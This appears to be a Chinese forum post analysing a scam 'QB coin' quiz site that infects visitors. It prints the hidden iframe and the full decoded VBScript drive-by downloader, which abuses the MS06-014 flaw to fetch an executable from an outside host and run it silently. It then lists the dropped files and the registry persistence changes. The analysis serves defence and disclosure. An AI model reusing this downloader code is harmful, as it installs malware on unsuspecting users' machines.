今天群里有人发了浙江互联星空现在答题送QB了，今天搞活动，活动地址 hXXp://zj.vnetqqx.cn
偶也想去看，另一个人说有毒。我去看了下代码真的有问题
代码前部有
<iframe src==hXXp://www.jrrmai.com/ad/goldsun.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>
再看hXXp://www.jrrmai.com/ad/goldsun.htm代码，有一个加密的VBS，用FSO还原出来后
<html>
<script language="VBScript">
on error resume next
dl = "hXXp://www.jrrmai.com/ad/down.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
<head>
<title>Oh,my god! Goldsun[at]84823714</title>
</head><body>
<center>You DO it!</center>
</body></html>
利用MS06-14漏洞下载hXXp://www.jrrmai.com/ad/down.exe
我把这样本下来运后，释放文件
C:\Program Files\Common Files\Microsoft Shared\MSINFO\A8C22524.dll
C:\Program Files\Common Files\Microsoft Shared\MSINFO\A8C22524.dat
C:\WINDOWS\Help\wshmcepts.chm
C:\WINDOWS\system32\wdfmgr32.exe
C:\WINDOWS\svchost.exe
C:\WINDOWS\system32\tmdqq.exe
C:\WINDOWS\system32\systen.exe
C:\WINDOWS\system32\verclsid.exe(系统文件) 修改为 C:\WINDOWS\system32\verclsid.exe.bak
产生相关的注册表
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks分支添加
{2252A8C2-A8C2-2524-C225-8C2528C22524}
HKCR\CLSID\{A48AA915-9150-5091-948A-09094A91508A}\InProcServer32\（默认）
修改为C:\Program Files\Common Files\Microsoft Shared\MSINFO\A8C22524.dll
注册表键： HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
值： C:\WINDOWS\system32\wdfmgr32.exe
注册表键：HKLM\SYSTEM\CurrentControlSet\Services\system
值：C:\WINDOWS\svchost.exe
修改HKLM\SYSTEM\CurrentControlSet\Services\wscsvc\Start
00000002 为 00000004
文章录入：cainiaowang 责任编辑：cainiaowang
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